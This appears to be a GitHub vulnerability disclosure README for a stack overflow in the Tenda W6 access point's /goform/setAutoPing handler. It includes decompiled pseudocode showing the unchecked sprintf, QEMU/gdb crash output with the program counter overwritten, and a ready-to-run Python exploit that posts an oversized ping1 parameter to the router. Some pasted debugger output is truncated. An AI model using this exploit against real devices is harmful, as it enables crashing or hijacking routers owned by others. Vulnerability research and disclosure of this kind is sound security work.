



ilovekeeper Add files via upload ...

on Jul 8 [History](#)

..



pic

5 months ago



video

5 months ago



README.md

5 months ago



README_cn.md

5 months ago



README.md

Tenda W6 Stack Overflow Vulnerability

Device Vulnerability Introduction

Tenda W6 is an enterprise wireless AP router from Tenda Technology (Shenzhen, China).

A stack overflow vulnerability exists in /goform/setAutoPing in Tenda W6 V1.0.0.9(4122) version, which allows an attacker to construct ping1 parameters and ping2 parameters for a stack overflow attack. An attacker can use this vulnerability to execute arbitrary code execution.

固件下载地址：<https://www.tenda.com.cn/download/detail-2576.html>

Vulnerability Location

/goform/setAutoPing

```

DA View-A  Stack of formSetAutoPing  Pseudocode-A  Pseudocode-B  Strings  Hex View-1  Structures  Enums
1 int __fastcall formSetAutoPing(int a1, int a2, const char *a3)
2 {
3     void *v4; // [sp+18h] [+18h]
4     char *nptr; // [sp+1Ch] [+1Ch]
5     const char *v6; // [sp+20h] [+20h]
6     const char *v7; // [sp+24h] [+24h]
7     void *Var; // [sp+28h] [+28h]
8     char v9[132]; // [sp+2Ch] [+2Ch] BYREF
9
10    printf("query = %s\n", a3);
11    memset(v9, 0, 0x80u);
12    Var = websGetVar(a1, (int)"G0", (int)"checkUplink.asp");
13    v7 = (const char *)websGetVar(a1, (int)"ping1", (int)"0");
14    v6 = (const char *)websGetVar(a1, (int)"ping2", (int)"0");
15    nptr = (char *)websGetVar(a1, (int)"linkEn", (int)"0");
16    v4 = websGetVar(a1, (int)"intervalTime", (int)"10");
17    SetValue("auto_ping_en", nptr);
18    if ( atoi(nptr) == 1 )
19    {
20        SetValue("auto_ping_time", v4);
21        sprintf(v9, "%s;%s", v7, v6);
22        SetValue("auto_ping_ip", v9);
23    }
24    if ( CommitCfm() )
25        send_msg_to_netctrl(43, &unk_48000C);
26    return websRedirect(a1, Var);
27 }

```

Vulnerability Exploitation

```
W6    _US_W6V...extracted    squashfs-root
```

```
./gdb.sh
```

```
0x7f7b9a8c <_start+12> lui $gp, 5
0x7f7b9a90 <_start+16> addiu $gp, $gp, -0x3a7c
0x7f7b9a94 <_start+20> addu $gp, $gp, $ra etc_ro
0x7f7b9a98 <_start+24> move $ra, $t9
0x7f7b9a9c <_start+28> lw $a0, -0x7fe8($gp)
0x7f7b9aa0 <_start+32> sw $a0, -0x7ff0($gp)
0x7f7b9aa4 <_start+36> move $a0, $sp
0x7f7b9aa8 <_start+40> addiu $sp, $sp, -0x10
```

```
[ STACK ]
```

```
M00:0000 fp sp 0x7ffff7b0 ← 1
O01:0004      0x7ffff7b4 → 0x7ffff893 ← './bin/httpd'
P02:0008      0x7ffff7b8 ← 0
O03:000c      0x7ffff7bc → 0x7ffff89f ← 'SUDO_GID=1000'
V04:0010      0x7ffff7c0 → 0x7ffff8ad ← 'SUDO_UID=1000'
T05:0014      0x7ffff7c4 → 0x7ffff8bb ← 'SUDO_USER=chenhaohao'
k06:0018      0x7ffff7c8 → 0x7ffff8d0 ← 'SUDO_COMMAND=/usr/bin/qemu-mipsel
234 -L . ./bin/httpd'
O07:001c      0x7ffff7cc → 0x7ffff90b ← 'SHELL=/bin/bash'
```

```
[ BACKTRACE ]
```

```
f 0 0x7f7b9a80 _start
```

```
Welcome to ...
connect: No such file or directory
Continuing.
```

```
httpd listen ip = 0.0.0.0 port = 80
webs: Listening for HTTP requests at address 184.243.255.127
```

```

./gdb.sh
*T0 0x4e2380 ← 0
*T1 0x4e2380 ← 0
*T2 0xc31 bin dev etc etc_ro
*T3 0x61636f6c ('loca')
*T4 0x6e6f6974 ('tion')
*T5 0x90a0d2e ('\r\n\t')
*T6 0x622f3c09 ('\t</b>')
*T7 0x3e79646f ('ody>')
*T8 0x7f392320 ← 0
*T9 0x7f3e0b08 (pthread_mutex_unlock) ← jr $ra /* 0x3e00008 */
*S0 0x4e0050 ← '/webroot'
S1 0x0
S2 0x0
*S3 0xffffffff
*S4 0x7ffff7b4 → 0x7ffff893 ← './bin/httpd'
*S5 0x405878 (_init) ← lui $gp, 0xc /* 0x3c1c000c; '\x0c' */
*S6 0x1
*S7 0x42f700 (main) ← lui $gp, 0xa /* 0x3c1c000a; '\n' */
*S8 0x6161623b (';baa')
*FP 0x7ffff358 → 0x4d96c8 ← 0
*SP 0x7ffff358 → 0x4d96c8 ← 0
*PC 0x616161
[ DISASM ]
Invalid address 0x616161
ect: No such file or directory
ect to server failed.
ect: No such file or directory
ect to server failed.
ect: No such file or directory
ect to server failed.
ect: No such file or directory
ect to server failed.
y = linkEn=1&ping1=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&ping2=ba
ect: No such file or directory
ect to server failed.
[ STACK ]
00:0000 | fp sp 0x7ffff358 → 0x4d96c8 ← 0

```

Exp

```

import requests
from pwn import *

burp0_url = "http://192.168.5.1/goform/setAutoPing"
burp0_headers = {"Host": "192.168.5.1",
"Content-Length": "295",
"Accept": "*//*",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 1
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Origin": "http://192.168.5.1",
"Referer": "http://192.168.5.1/main.html",
"Accept-Encoding": "gzip, deflate",

```

```
"Accept-Language":"en-US,en;q=0.9",  
"Cookie":"user=",  
"Connection":"close"}
```

```
data1="linkEn=1"  
data1+='%&ping1='+ 'a' * 0x84  
data1+='%&ping2=baaaaa'  
requests.post(burp0_url,headers=burp0_headers,data=data1, verify=False,timeout=1)
```



[Please see the video for the demonstration process](#)